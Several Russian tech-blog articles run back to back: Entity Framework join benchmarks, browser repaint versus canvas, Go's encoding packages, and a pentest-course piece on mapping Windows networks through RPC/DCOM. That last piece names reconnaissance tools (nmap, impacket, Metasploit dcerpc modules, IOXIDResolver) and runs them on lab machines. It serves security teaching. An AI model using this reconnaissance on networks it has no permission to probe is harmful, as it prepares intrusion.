Потребление памяти невелико. Для большой коллекции требуется 1 минута. Для начала неплохо, но хочется быстрее.
#### Способ 2. Naive parallel
Попробуем добавить параллелизм. Идея в том, чтобы обращаться к базе из нескольких потоков.
**Код для способа 2**
```
var result = new ConcurrentBag();
var partitioner = Partitioner.Create(0, TestData.Count);
Parallel.ForEach(partitioner, range =>
{
var subList = TestData.Skip(range.Item1)
.Take(range.Item2 - range.Item1)
.ToList();
using (var context = CreateContext())
{
foreach (var testElement in subList)
{
var query = context.Prices.Where(
x => x.Security.Ticker == testElement.Ticker &&
x.TradedOn == testElement.TradedOn &&
x.PriceSourceId == testElement.PriceSourceId);
foreach (var el in query)
{
result.Add(el);
}
}
}
});
```
Результат:
Для маленьких коллекций этот подход работает даже медленнее, чем первый способ. А для самого большого — в 2 раза быстрее. Интересно, что на моей машине было порождено 4 потока, но это не привело к 4х кратному ускорению. Это говорит о том, что накладные расходы в этом способе существенны: как на стороне клиента, так и на стороне сервера. Потребление памяти выросло, но незначительно.
#### Способ 3. Multiple Contains
Время попробовать нечто иное и попытаться свести задачу к выполнению одного запроса. Можно сделать следующим образом:
1. Подготовить 3 коллекции уникальных значений *Ticker*, *PriceSourceId* и *Date*
2. Выполнить запрос и использовать 3 *Contains*
3. Перепроверить результаты локально
**Код для способа 3**
```
var result = new List();
using (var context = CreateContext())
{
// Готовим коллекции
var tickers = TestData.Select(x => x.Ticker).Distinct().ToList();
var dates = TestData.Select(x => x.TradedOn).Distinct().ToList();
var ps = TestData.Select(x => x.PriceSourceId).Distinct().ToList();
// Запрос с использованием 3 Contains
var data = context.Prices
.Where(x => tickers.Contains(x.Security.Ticker) &&
dates.Contains(x.TradedOn) &&
ps.Contains(x.PriceSourceId))
.Select(x => new {
Price = x,
Ticker = x.Security.Ticker,
})
.ToList();
var lookup = data.ToLookup(x =>
$"{x.Ticker}, {x.Price.TradedOn}, {x.Price.PriceSourceId}");
// Перепроверка
foreach (var el in TestData)
{
var key = $"{el.Ticker}, {el.TradedOn}, {el.PriceSourceId}";
result.AddRange(lookup[key].Select(x => x.Price));
}
}
```
Проблема здесь в том, что время выполнения и объем возвращаемых данных сильно зависит от самих данных (и в запросе и в базе). То есть может вернуться набор только необходимых данных, а могут вернуться ещё и лишние записи (даже в 100 раз больше).
Это можно объяснить, используя следующий пример. Предположим есть следующая таблица с данными:
Предположим также, что мне нужны цены для *Ticker1* с *TradedOn* = *2018-01-01* и для *Ticker2* с *TradedOn* = *2018-01-02*.
Тогда уникальные значения для *Ticker* = (*Ticker1*, *Ticker2*)
И уникальные значения для *TradedOn* = (*2018-01-01*, *2018-01-02*)
Однако в результате будет возвращено 4 записи, потому что они действительно соответствуют этим комбинациям. Плохо это тем, что чем больше полей используется — тем больше шанс получить лишние записи в результате.
По этой причине данные, полученные этим способом необходимо дополнительно фильтровать на стороне клиента. И это же является самым большим недостатком.
Метрики получились следующими:
Потребление памяти — хуже всех предыдущих способов. Количество прочитанных строк многократно превышает количество запрошенных. Тесты для больших коллекций были прерваны так как выполнялись больше 10 минут. Этот способ не годится.
#### Способ 4. Predicate builder
Попробуем теперь с другой стороны: старые добрые *Expression*. Используя их, можно построить 1 большой запрос в следующей форме:
`… (.. AND .. AND ..) OR (.. AND .. AND ..) OR (.. AND .. AND ..) …`
Это даёт надежду на то, что удастся построить 1 запрос и получить только нужные данные за 1 заход. Код:
**Код для способа 4**
```
var result = new List();
using (var context = CreateContext())
{
var baseQuery = from p in context.Prices
join s in context.Securities on
p.SecurityId equals s.SecurityId
select new TestData()
{
Ticker = s.Ticker,
TradedOn = p.TradedOn,
PriceSourceId = p.PriceSourceId,
PriceObject = p
};
var tradedOnProperty = typeof(TestData).GetProperty("TradedOn");
var priceSourceIdProperty = typeof(TestData).GetProperty("PriceSourceId");
var tickerProperty = typeof(TestData).GetProperty("Ticker");
var paramExpression = Expression.Parameter(typeof(TestData));
Expression wholeClause = null;
foreach (var td in TestData)
{
var elementClause =
Expression.AndAlso(
Expression.Equal(
Expression.MakeMemberAccess(
paramExpression, tradedOnProperty),
Expression.Constant(td.TradedOn)
),
Expression.AndAlso(
Expression.Equal(
Expression.MakeMemberAccess(
paramExpression, priceSourceIdProperty),
Expression.Constant(td.PriceSourceId)
),
Expression.Equal(
Expression.MakeMemberAccess(
paramExpression, tickerProperty),
Expression.Constant(td.Ticker))
));
if (wholeClause == null)
wholeClause = elementClause;
else
wholeClause = Expression.OrElse(wholeClause, elementClause);
}
var query = baseQuery.Where(
(Expression>)Expression.Lambda(
wholeClause, paramExpression)).Select(x => x.PriceObject);
result.AddRange(query);
}
```
Код получился более сложный, чем в предыдущих способах. Строить *Expression* вручную не самая простая и не самая быстрая операция.
Метрики:
Временные результаты получились ещё хуже, чем в предыдущем способе. Похоже, что накладные расходы при построении и при проходе по дереву оказались намного больше, чем выигрыш от использования одного запроса.
#### Способ 5. Shared query data table
Попробуем теперь другой вариант:
Я создал в базе новую таблицу, в которую буду записывать данные, необходимые для выполнения запроса (подспудно нужен новый *DbSet* в контексте).
Теперь, чтобы получить результат нужно:
1. Начать транзакцию
2. Загрузить данные запроса в новую таблицу
3. Выполнить сам запрос (используя новую таблицу)
4. Откатить транзакцию (чтобы очистить таблицу данных для запросов)
Код выглядит так:
**Код для способа 5**
```
var result = new List();
using (var context = CreateContext())
{
context.Database.BeginTransaction();
var reducedData = TestData.Select(x => new SharedQueryModel()
{
PriceSourceId = x.PriceSourceId,
Ticker = x.Ticker,
TradedOn = x.TradedOn
}).ToList();
// Временно сохраняем данные в таблицу
context.QueryDataShared.AddRange(reducedData);
context.SaveChanges();
var query = from p in context.Prices
join s in context.Securities on
p.SecurityId equals s.SecurityId
join t in context.QueryDataShared on
new { s.Ticker, p.TradedOn, p.PriceSourceId } equals
new { t.Ticker, t.TradedOn, t.PriceSourceId }
select p;
result.AddRange(query);
context.Database.RollbackTransaction();
}
```
Сначала метрики:
Все тесты отработали и отработали быстро! Потребление памяти тоже приемлемое.
Таким образом, благодаря использованию транзакции эта таблица может использоваться одновременно несколькими процессами. И так как это реально существующая таблица, нам доступны все возможности *Entity Framework*: необходимо только загрузить данные в таблицу, построить запрос с использованием *JOIN* и выполнить. На первый взгляд — это то, что нужно, но есть и существенные минусы:
* Необходимо создать таблицу для конкретного типа запросов
* Необходимо использовать транзакции (и тратить ресурсы СУБД на них)
* Да и сама идея, что нужно что-то ПИСАТЬ, когда нужно ЧИТАТЬ, выглядит странно. А на Read Replica это просто не будет работать.
А в остальном — решение более или менее рабочее, которое уже можно использовать.
#### Способ 6. MemoryJoin extension
Теперь можно попробовать улучшить предыдущий подход. Размышления такие:
* Вместо использования таблицы, которая специфичная для одного типа запроса, можно использовать некий обобщенный вариант. А именно создать таблицу с именем вроде *shared\_query\_data*, и добавить в неё по несколько полей *Guid*, несколько *Long*, несколько *String* и т.д. Имена можно взять простые: *Guid1*, *Guid2*, *String1*, *Long1*, *Date2*, и т.д. Тогда эту таблицу можно будет использовать для 95% типов запросов. Имена свойств можно будет "скорректировать" позже при помощи проекции **Select**.
* Далее нужно добавить *DbSet* для *shared\_query\_data*.
* А что если вместо записи данных в базу — передавать значения, используя конструкцию **VALUES**? То есть необходимо, чтобы в итоговом SQL запросе вместо обращения к *shared\_query\_data* было обращение к **VALUES**. Как это сделать?
+ В Entity Framework Core — просто используя *FromSql*.
+ В Entity Framework 6 — придётся использовать [DbInterception](https://docs.microsoft.com/ru-ru/ef/ef6/fundamentals/logging-and-interception) — то есть менять сгенерированный SQL, добавляя конструкцию **VALUES** прямо перед выполнением. Это приведет к ограничению: в одном запросе — не более одной конструкции **VALUES**. Но работать будет!
* Раз мы не собираемся писать в базу данных, то получается таблица *shared\_query\_data*, созданная на первом шаге, вообще не нужна? Ответ: да, она не нужна, а вот *DbSet* всё ещё нужен, так как Entity Framework должен знать схему данных, чтобы строить запросы. Получается, нужен *DbSet* для некоторой обобщенной модели, которая не существует в базе и используется только для того чтобы внушить Entity Framework, что он знает что делает.
**Пример преобразования IEnumerable в IQueryable**1. На вход поступила коллекция объектов следующего типа:
```
class SomeQueryData {
public string Ticker {get; set;}
public DateTimeTradedOn {get; set;}
public int PriceSourceId {get; set;}
}
```
2. У нас в распоряжении есть *DbSet* с полями *String1*, *String2*, *Date1*, *Long1*, *etc*
3. Пусть *Ticker* будет храниться в *String1*, *TradedOn* в *Date1*, а *PriceSourceId* в *Long1* (*int* маппится в *long*, чтобы не делать отдельно поля для *int* и *long*)
4. Тогда *FromSql* + *VALUES* будет таким:
```
var query = context.QuerySharedData.FromSql(
"SELECT * FROM (
VALUES (1, 'Ticker1', @date1, @id1),
(2, 'Ticker2', @date2, @id2)
) AS __gen_query_data__ (id, string1, date1, long1)")
```
5. Теперь можно сделать проекцию и вернуть удобный *IQueryable*, использующий тот же тип, который был на входе:
```
return query.Select(x => new SomeQueryData()
{
Ticker = x.String1,
TradedOn = x.Date1,
PriceSourceId = (int)x.Long1
});
```
Мне удалось реализовать этот подход и даже оформить его как NuGet пакет [EntityFrameworkCore.MemoryJoin](https://www.nuget.org/packages/EntityFrameworkCore.MemoryJoin/) ([код](https://github.com/neisbut/EntityFramework.MemoryJoin) тоже доступен). Несмотря на то, что в имени есть слово *Core*, *Entity Framework* 6 тоже поддерживается. Я назвал его **MemoryJoin**, но по факту он отправляет локальные данные на СУБД в конструкции *VALUES* и вся работа выполняется на нём.
Код получается следующим:
**Код для способа 6**
```
var result = new List();
using (var context = CreateContext())
{
// ВАЖНО: нужно выбрать только поля, которые будут использоваться в запросе
var reducedData = TestData.Select(x => new {
x.Ticker,
x.TradedOn,
x.PriceSourceId
}).ToList();
// Здесь IEnumerable<> превращается в IQueryable<>
var queryable = context.FromLocalList(reducedData);
var query = from p in context.Prices
join s in context.Securities on
p.SecurityId equals s.SecurityId
join t in queryable on
new { s.Ticker, p.TradedOn, p.PriceSourceId } equals
new { t.Ticker, t.TradedOn, t.PriceSourceId }
select p;
result.AddRange(query);
}
```
Метрики:
Это лучший результат из всех, которые я пробовал. Код получился очень простым и понятным, и в то же время рабочим для Read Replica.
**Пример сгенерированного запроса для получения 3х элементов**
```
SELECT "p"."PriceId",
"p"."ClosePrice",
"p"."OpenPrice",
"p"."PriceSourceId",
"p"."SecurityId",
"p"."TradedOn",
"t"."Ticker",
"t"."TradedOn",
"t"."PriceSourceId"
FROM "Price" AS "p"
INNER JOIN "Security" AS "s" ON "p"."SecurityId" = "s"."SecurityId"
INNER JOIN
( SELECT "x"."string1" AS "Ticker",
"x"."date1" AS "TradedOn",
CAST("x"."long1" AS int4) AS "PriceSourceId"
FROM
( SELECT *
FROM (
VALUES (1, @__gen_q_p0, @__gen_q_p1, @__gen_q_p2),
(2, @__gen_q_p3, @__gen_q_p4, @__gen_q_p5),
(3, @__gen_q_p6, @__gen_q_p7, @__gen_q_p8)
) AS __gen_query_data__ (id, string1, date1, long1)
) AS "x"
) AS "t" ON (("s"."Ticker" = "t"."Ticker")
AND ("p"."PriceSourceId" = "t"."PriceSourceId")
```
Здесь также видно, как обобщенная модель (с полями *String1*, *Date1*, *Long1*) при помощи Select превращается в ту, которая используется в коде (с полями *Ticker*, *TradedOn*, *PriceSourceId*).
Вся работа выполняется за 1 запрос на SQL сервере. И это и есть небольшой хэппи-энд, о котором я говорил в начале. И всё же использование этого способа требует понимания и следующих шагов:
* Необходимо добавить дополнительный *DbSet* в свой контекст (хотя саму таблицу можно не добавлять)
* В обобщенной модели, которая используется по умолчанию, объявлены по 3 поля типов *Guid*, *String*, *Double*, *Long*, *Date* и т.д. Этого должно хватить на 95% типов запросов. И если передать в *FromLocalList* коллекцию объектов с 20 полями, то будет выброшен *Exception*, говорящий, что объект слишком сложный. Это мягкое ограничение и его можно обойти — можно объявить свой тип и внести туда хоть по 100 полей. Однако, больше полей — медленней работа.
* Больше технических деталей описано в моей [статье](http://tsherlock.tech/2018/03/20/joining-in-memory-list-to-entity-framework-query/).
Заключение
----------
В этой статье я изложил свои размышления на тему JOIN локальной коллекции и DbSet. Мне показалось, что моя разработка с использованием *VALUES* может быть интересна сообществу. По крайней мере я не встречал такого подхода, когда решал эту задачу сам. Лично мне этот способ помог преодолеть ряд проблем с производительностью в моих текущих проектах, может быть он поможет и Вам.
Кто-то скажет, что использование *MemoryJoin* слишком "заумное" и его надо дорабатывать, а до тех пор использовать его не нужно. Это именно та причина, почему я очень сомневался и почти год не писал эту статью. Я соглашусь, что хотелось бы, чтобы это работало проще (надеюсь однажды так и будет), но также скажу, что оптимизация никогда не была задачей Junior’ов. Оптимизация всегда требует понимания как инструмент работает. И если есть возможность получить ускорение в ~8 раз (*Naive Parallel* vs *MemoryJoin*), то я бы осилил 2 пункта и документации.
И в заключении, диаграммы:
Затраченное время. Только 4 способа выполнили задачу за время менее 10 минут, а *MemoryJoin* — единственный способ, который выполнил задачу за время менее 10 секунд.
Потребление памяти. Все способы продемонстрировали примерно одинаковое потребление памяти, кроме *Multiple Contains*. Это связано с количеством возвращенных данных.
Thanks for reading! | https://habr.com/ru/post/435810/ | null | ru | null |
# Repaint для больших картинок
Repaint происходит средствами процессора, браузер тратит на это определенное время. При анимации это время негативно влияет на производительность. Я уперся в эту проблему, когда мне надо было анимировать листалку из картинок большого разрешения весом 100-200kB. Причем в ряде браузеров проблема выглядела совсем катастрофически.
Эта статья не претендует на строгость изложения и на окончательные выводы. Однако хотелось поделиться находкой с сообществом. Основной вывод такой: операции с картинками надо реализовывать средствами [canvas], которая нагружает видеокарту, не надо использовать обычные теги [img], которые служат простой презентации графики.
Итак, теперь по порядку.
Имеется следующая задача: сменить одну картинку, у которой масштаб меньше 100%, на другую — с аналогичным масштабом.
Мы говорим: «Нет ничего проще! Меняем атрибут src у тега img.» Так вот, если посмотреть, как это происходит с помощью Timeline в Webkit-based браузере, то увидим, что генерируется событие repaint и для больших картинок ротация занимает приличное время.
Попробуем менять фоновую картинку, в таком случае. Масштаб можно задавать CSS3 свойством backgroung-size. Немного быстрее.
Если использовать проприетарный zoom, ситуация тоже не сильно улучшается.
Попробуем рисовать картинки на канве — все радикальным образом изменится! Repaint занимает 0ms.
В качестве наивной иллюстрации к тому, что сказано выше, может быть следующий код (использование jquery неоправданно, но для примера это не важно):
```
IMG SRC
BACKGROUND
CANVAS
var ctx = document.getElementById('canvas').getContext('2d')
var img = document.getElementById('im1')
img.onload = function(){
ctx.drawImage(img,0,0,400,200)
}
$('.rotor').click( function(){
if( $(this).is('img') ) {
$(this).attr('src', 'img3.jpg')
}
if( $(this).is('div') ) {
$(this).css('backgroundImage','url(img3.jpg)')
}
if( $(this).is('canvas') ) {
var img = document.getElementById('im2')
ctx.drawImage(img,0,0,400,200)
}
$(this).css('borderColor','red')
})
```
В итоговой страничке при событии клика на всех трех элементах происходит ротация изображения. У меня на размере картинки 110kB получились следующие результаты, представленные на диаграмме (хочу акцентировать, что это не статистика, просто результаты для одного частного случая).
Данные слишком сильно разнятся, так что их сравнивать можно только в рамках одного браузера, причем сравнивать именно порядок; я сомневаюсь, что они показывают объективное время выполнения. Для webkit-браузеров значения взяты из встроенного отладчика (вкладка timeline). Firefox 7 был оценен через dynaTrace (к сожалению, этим же инструментом не удалось измерить IE9).
dynaTrace вообще выдал достаточно противоречивые результаты: поле duration, определяющее время исполнения в асинхронном режиме, было рекордным 424.54ms для “чистого” времени исполнения 3.98ms.
Измерение с помощью Speed Tracer (Google) тоже преподнесло сюрприз: значения представились в виде 250, 84, 84. В общем, в некотором смысле, возникает больше вопросов, чем ответов.
Однако, я проверил эти примерные выкладки практикой: замена тега img на canvas принесло ускорение на порядок в Chrome и лучшую производительность в Opera (которая вообще выпала из рамок исследования скорости repaint). Firefox стал при этом более стабильным. Я объяснил все это переносом вычислений с процессора на видеокарту.
Надеюсь, мне удалось убедить не использовать [img] не по назначению. С другой стороны, возникло много вопросов и недоумений по поводу измерения скорости перерисовки в браузерах. Надеюсь на комментарии, я специально привел скриншоты с измерениями. Критика методологии приветствуется! | https://habr.com/ru/post/134653/ | null | ru | null |
# Построение карты сети
Построение карты сети — это длительный процесс. Исследование происходит за счет отслеживания откликов операционных систем на испорченные данные в заголовках сетевых протоколов. Этот подход обычно дает ~ 80% точности. И довольно сложно найти информацию о том, как точно каждая ОС отзывается на подобные воздействия. А что, если будет технология или функция операционной системы, которая на 100% точно будет говорить о состоянии сетевой подсистемы и сообщать дополнительную информацию? Статья расскажет о таких функциях ОС Windows.
### «Старые как мир» технологии
Чтобы получить полную картину того, как ОС Windows представляет свои функции в сети, нужно вспомнить о таких механизмах, как DCOM и RPC.
[Remote Procedure Call](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wpo/7d2df784-557e-4fde-9281-9509653a0f17) — механизм межпроцессного взаимодействия (IPC). Механизм позволяет обмениваться информацией и вызывать функции в разных процессах в рамках ОС, локальной сети или через Интернет.
Distributed Component Object Model — спецификация COM объектов, которая регламентирует правила взаимодействия в сети между объектами. В документации можно встретить формулировку — DCOM Remote Protocol.
Два механизма соотносятся по следующей схеме:
Схема взята [отсюда](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom/4a893f3d-bd29-48cd-9f43-d9777a4415b0)
Как это работает? Общая схема работы протокола представлена ниже.
Схема взята [отсюда](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom/4a893f3d-bd29-48cd-9f43-d9777a4415b0)
Основная идея — организация взаимодействия осуществляется по клиент-серверной модели. Клиент может запросить по идентификатору запуск процедуры через RPC на сервере. При этом сервер должен самостоятельно произвести поиск нужного обработчика для идентификатора и, если он найден, передать ему информацию в соответствии с моделью безопасности. Затем информация о доступности и, по возможности, результат возвращается клиенту.
Кстати, о модели безопасности, на схеме красными прямоугольниками выделены те интерфейсы, которые в некоторых случаях можно использовать без прохождения процедуры авторизации.
### Что интересного для карты сети
DCOM для Offensive уже изучался на [BlackHat 2004](https://www.blackhat.com/presentations/win-usa-04/bh-win-04-seki-up2.pdf). В выступлении было очень много информации, которая может быть использована для версий Windows вплоть до Windows Server 2003. Вот список некоторых действий, которые можно выполнять:
* Сбор информации о конфигурации ОС (не требует авторизации);
* Перебор паролей для учетных данных пользователей;
* Отправка запроса на создание задач ScheduledTask, а так же удаление, просмотр;
* Просмотр состояния сервисов (авторизация требуется).
Выступление рассказывало уже о конкретных идентификаторах, которые можно использовать для воздействий на ОС. Попробуем выяснить, всё ли так же работает спустя 17 лет, заодно и узнаем как получить конфигурацию сетевой подсистемы ОС.
### Практика
Для эксперимента будем использовать 3 виртуальные машины:
* Windows 10
* Windows 7
* Windows 8
Каждая виртуальная машина будет подключена как минимум к двум сетям, которые будут включать в себя разные сегменты. Тестовой виртуальной машиной станет Kali Linux. Попробуем собрать скрипты и приложения для сбора информации о системе посредством RPC. Список инструментов представлен ниже:
* `nmap script rpcinfo.nse` - собирает порты rpc и пишет, по возможности имя сервиса, который их использует;
* `impacket rpcdump.py` - получает информацию из rcp сервисов;
* `impacket rpcmap.py` - собирает endpoint порты, которые ожидают коннекта;
* `Metasploit module auxiliary/scanner/dcerpc/endpoint_mapper` - поиск `endpoint`;
* `Metasploit module auxiliary/scanner/dcerpc/hidden` - поиск скрытого сервиса;
* `Metasploit module auxiliary/scanner/dcerpc/management` - получение данный из RMI DCERPC;
* `Metasploit module auxiliary/scanner/dcerpc/tcp_dcerpc_auditor` - поиск названий сервисов, которые используют DCERPC;
* `IOXIDResolver.py` - скрипт для получения данных о конфигурации сетевой подсистемы;
Попробуем работоспособность инструментов на виртуальных машинах:
**Windows 7**
Результаты nmap:
 Результаты Metasploit:
На картинке представлена часть endpoint сервисов.Hidden services
Management
TCP Auditpr
Результаты IOXIDResolver:
**Windows 8**
Результаты nmap:
Результаты Metasploit:
endpoint\_mapper
На картинке представлена часть endpoint сервисов. Hidden services
Management
TCP auditor
Результаты IOXIDResolver:
**Windows 10**
Результаты nmap:
Результаты Metasploit:
На картинке представлена часть endpoint сервисов. Hidden services
Management
TCP auditor
Результаты IOXIDResolver:
Рассмотренные в статье механизмы не просто до сих пор работают, но и развиваются. Из перечисленных инструментов IOXIDResolver может позволить получить данные о настройке сетевой подсистемы, а другие инструменты могут помочь определить версию ОС и, при недостаточной конфигурации, возможность управления ОС или получения учетных данных пользователей.
---
> Статья подготовлена Александром Колесниковым, преподавателем курса [**«Пентест. Практика тестирования на проникновение»**](https://otus.pw/bIuj/). Если интересно узнать о курсе больше, приходите на [день открытых дверей](https://otus.pw/cQvo/) онлайн, где Александр расскажет о формате и программе обучения.
>
> | https://habr.com/ru/post/560452/ | null | ru | null |
# Разбираемся в Go: пакет encoding
*Перевод одной из статей Бена Джонсона из серии "Go Walkthrough" по более углублённому изучению стандартной библиотеки Go в контексте реальных задач.*
Пока что мы рассмотрели работу с потоками и слайсами байт, но мало какие программы просто гоняют байты туда сюда. Сами по себе байты много смысла не несут, а вот когда мы кодируем структуры данных с помощью этих байт, тогда мы можем создавать действительно полезные приложения.
Этот пост является одним из серии статей по более углублённому разбору стандартной библиотеки. Несмотря на то, что стандартная документация предоставляет массу полезной информации, в контексте реальных задач может быть непросто разобраться, что и когда использовать. Эта серия статей направлена на то, чтобы показать использование пакетов стандартной библиотеки в контексте реальных приложений. Если у вас есть вопросы или комментарии, вы всегда можете написать мне в Твиттер — [@benbjohnson](https://twitter.com/benbjohnson).
Что такое кодирование (encoding)?
---------------------------------
В программировании нередко для простых концепций используются замудрёные слова. Даже больше того — часто для одной концепции существует несколько замудрёных слов. *Кодирование* (*encoding*) это одно из таких слов. Иногда оно называется *сериализацией*(*serialization*) или *маршалинг* (*marshaling*) — что означет одно и тоже: добавление логической структуры сырым байтам.
В стандартной библиотеке Go мы используем термины *кодирование* (*encoding*) и *маршалинг* (*marshaling*) для двух разных, но связанных идей. *Encoder* в Go это объект, который добавляет логическую структуру на поток байт, в то время как *marshaling* работает с ограниченным набором байт в памяти.
Например, в пакете *encoding/json* есть [json.Encoder](https://golang.org/pkg/encoding/json/#Encoder) и [json.Decoder](https://golang.org/pkg/encoding/json/#Decoder) для работы с [io.Writer](https://golang.org/pkg/io/#Writer) и [io.Reader](https://golang.org/pkg/io/#Reader) потоками соответственно. И также в этом пакете мы видим [json.Marshaler](https://golang.org/pkg/encoding/json/#Marshaler) и [json.Unmarshaler](https://golang.org/pkg/encoding/json/#Unmarshaler) для записи и чтения байт из слайса.
Два типа кодирования
--------------------
Есть ещё одно важно различие в кодировании. Некоторые пакеты для кодирования оперируют с примитивами — строки, целые числа и т.д. Строки закодированы кодировками вроде ASCII или [Unicode](https://golang.org/pkg/unicode/) или [любыми другими кодировками](https://godoc.org/golang.org/x/text). Целые числа могут закодированы по разному, в зависимости от [endianness](https://en.wikipedia.org/wiki/Endianness) или используя целочисленное кодирование с произвольной длиной. Даже сами байты часто могут закодированы используя схемы вроде [Base64](https://golang.org/pkg/encoding/base64/), чтобы превратить их в печатаемые символы.
Но всё же чаще, когда мы говорим про кодирование, мы думаем именно о кодировании объектов. Это означает превращение сложных структур в памяти таких как *структуры, карты и слайсы* в набор байт. В этом превращении приходится иметь дело с массой компромиссов и за много лет люди придумали [множество различных способов кодирования](https://en.wikipedia.org/wiki/Comparison_of_data_serialization_formats).
Делая компромиссы
-----------------
Конвертация логической структуры в байты может поначалу показаться простой задачей — эти структуры ведь и так уже есть в памяти в виде байт. Почему просто его не использовать?
Есть много причин, почему формат байт в памяти не подходит для сохранения на диск или отправки в сеть. Во-первых, совместимость. Формат размещения байт в памяти Go объектов не совпадает с форматом объектов в Java, поэтому двум системам, написанным на разных языках, будет невозможно друг друга понимать. Также иногда нам нужна совместимость не только с другим языком программирования, но и с человеком. [CSV](https://en.wikipedia.org/wiki/Comma-separated_values), [JSON](http://www.json.org/) и [XML](https://en.wikipedia.org/wiki/XML) — это всё примеры человекочитаемых форматов, которые можно легко просмотреть и изменить вручную.
Впрочем, добавление человекочитаемости формату ставит нас перед компромиссом. Форматы, которые легко читаемы человеком, сложнее и дольше для чтения компьютером. Целые числа — хороший тому пример. Люди читают номера в десятичной форме, тогда как компьютер оперирует числами в двоичной форме. Люди также читают числа различной длины, вроде 1 или 1000, в то время, как компьютеры работают с числами фиксированного размера — 32 или 64 бит. Разница в производительности может показаться незначительной, но она быстро станет заметна при парсинге миллионов или миллирадов чисел.
Также есть один компромисс, о котором мы обычно не думаем поначалу. Наши структуры данных могут меняться со временем, но мы должны уметь работать с данными, закодированными много лет назад. Некоторые кодировки, вроде [Protocol Buffers](https://developers.google.com/protocol-buffers/), позволяют описать схему для ваших данных и добавить версию к полям — старые поля могут быть объявлены устаревшими и добавлены новые. Минус тут в том, что нужно знать определение схемы вместе с данными, чтобы мочь закодировать или декодировать данные. Собственный формат Go — [gob](https://golang.org/pkg/encoding/gob/), использует другой подход и сохраняет схему данных прямо во время кодирования. Но тут минус в том, что размер закодированных данных становится довольно большим.
Некоторые форматы вообще обходят этот момент и идут без схемы. [JSON](http://www.json.org/) и [MessagePack](http://msgpack.org/index.html) позволяют кодировать структуры на лету, но не предоставляют никаких гарантий для безопасного декодирования со старых версий.
Мы также используем системы, которые делают кодирование за нас, но о которых мы не думаем, как о кодировщиках. Например, базы данных это тоже один из способов взять наши логические структуры и сохранить в виде набора байт на диске. Скорее всего там будет много всего — сетевые вызовы, парсинг SQL, планирование запросов, но, по сути, это кодирование байт.
В конце концов, если вам важнее всего скорость, вы можете использовать внутренний формат памяти Go и сохранять данные как есть. Я даже написал для этого библиотеку под названием [raw](https://github.com/boltdb/raw). Время кодирования и декодирования тут буквально 0 секунд. Но лучше не стоит её использовать в продакшене.
4 интерфейса в encoding
-----------------------
Если вы являетесь одним из тех немногих людей, которые заглядывали в пакет [encoding](https://golang.org/pkg/encoding/), вы можете быть слегка разочарованы. Это второй самый маленький пакет после [errors](https://golang.org/pkg/errors/) и в нём находятся всего лишь 4 интерфейса.
Первые два — интерфейсы [BinaryMarshaler](https://golang.org/pkg/encoding/#BinaryMarshaler) и [BinaryUnmarshaler](https://golang.org/pkg/encoding/#BinaryUnmarshaler).
```
type BinaryMarshaler interface {
MarshalBinary() (data []byte, err error)
}
type BinaryUnmarshaler interface {
UnmarshalBinary(data []byte) error
}
```
Они предназначены для объектов, которые предоставляют способ конвертировать в и из бинарного формата. Эти интерфейсы используются в нескольких местах в стандартной библиотеке, например в [time.Time.MarshalBinary()](https://golang.org/pkg/time/#Time.MarshalBinary). Вы не найдёте их много где, потому что обычно нет единого способа конвертировать данные в бинарную форму. Как мы уже увидели, есть огромное количество различных форматов сериализации.
Но на уровне приложения, вы скорее всего выберете какой-то один формат для кодирования. Например, вы можете выбрать Protocol Buffers для всех данных. Обычно нет смысла поддерживать сразу несколько бинарных форматов в приложении, поэтому реализация [BinaryMarshaler](https://golang.org/pkg/encoding/#BinaryMarshaler) может иметь смысл.
Следующие два интерфейса это [TextMarshaler](https://golang.org/pkg/encoding/#TextMarshaler) и [TextUnmarshaler](https://golang.org/pkg/encoding/#TextUnmarshaler):
```
type TextMarshaler interface {
MarshalText() (text []byte, err error)
}
type TextUnmarshaler interface {
UnmarshalText(text []byte) error
}
```
Эти два интерфейса очень похожи на предыдущие, но они работают с данными в формате UTF-8.
Некоторые форматы определяют свои собственные интерфейсы для маршалинга, например [json.Marshaler](https://golang.org/pkg/encoding/json/#Marshaler), и они следуют той же логике имён.
Обзор пакетов encoding
----------------------
В стандартной библиотеке есть множество полезных пакетов для кодирования данных. Мы рассмотрим их более детально в следующих статьях, но тут я бы хотел сделать краткий обзор. Некоторые из пакетов лежат в encoding/, а некоторые находятся в других местах.
### Кодировки базовых типов
Скорее всего, первый пакет, который вы использовали, когда только познакомились с Go был пакет [fmt](https://golang.org/pkg/fmt/) (произносится "fumpt"). Он используется [printf()](http://pubs.opengroup.org/onlinepubs/009695399/functions/fprintf.html) формат в стиле C для кодирования и декодирования чисел, строк, байт и даже имеет базовые возможности по кодированию объектов. Пакет [fmt](https://golang.org/pkg/fmt/) это отличный и простой способ создавать человеко-читаемые строки на основании шаблонов, но парсинг шаблонов может быть не сильно быстрым.
Если вам нужна более высокая производительность, вы можете уйти от printf-шаблонов и использовать пакет [strconv](https://golang.org/pkg/strconv/). Это низкоуровневый пакет для базового форматирования и сканирования строк, целых и дробных чисел, логических значений, и в целом он достаточно быстрый.
Эти пакеты, как и сам Go, подразумевают, что вы работаете со строками в UTF-8. Почти полное отсутствие поддержки не-Unicode кодировок в стандартной библиотеке скорее всего объясняется тем, что интернет в последние годы очень быстро сошёлся в том, что всё должно быть в UTF-8, а возможно и потому, что [Роб Пайк](https://en.wikipedia.org/wiki/Rob_Pike) как раз придумал и Go, и UTF-8, кто знает. Мне, наверное, повезло и не пришлось сталкиваться с не-UTF-8 кодировками в Go, но, впрочем, есть такие пакеты как [unicode/utf16](https://golang.org/pkg/unicode/utf16/), [encoding/ascii85](https://golang.org/pkg/encoding/ascii85/) и целая ветка [golang.org/x/text](https://godoc.org/golang.org/x/text). Эта ветка содержит большое количество отличных пакетов, которые являются частью проекта Go, но не попадают под [гарантии обратной совместимости Go 1](https://golang.org/doc/go1compat).
Для кодирования чисел, пакет encoding/binary предоставляет big endian и little endian кодирование, а также кодирование чисел переменной длины. Endianness — означает порядок, в котором байты идут один за другм. Например uint16 представление числа 1000 (0x03e8 в шестнадцатеричной форме) состоит из двух байт — 03 и e8. В big endian форме эти байты пишутся в таком порядке — "03 e8". В little endian, порядок обратный — "e8 03". Многие популярные архитектуры CPU являются little endian. Но big endian обычно используется для отправки данных по сети. Он даже так и называется — network byte order.
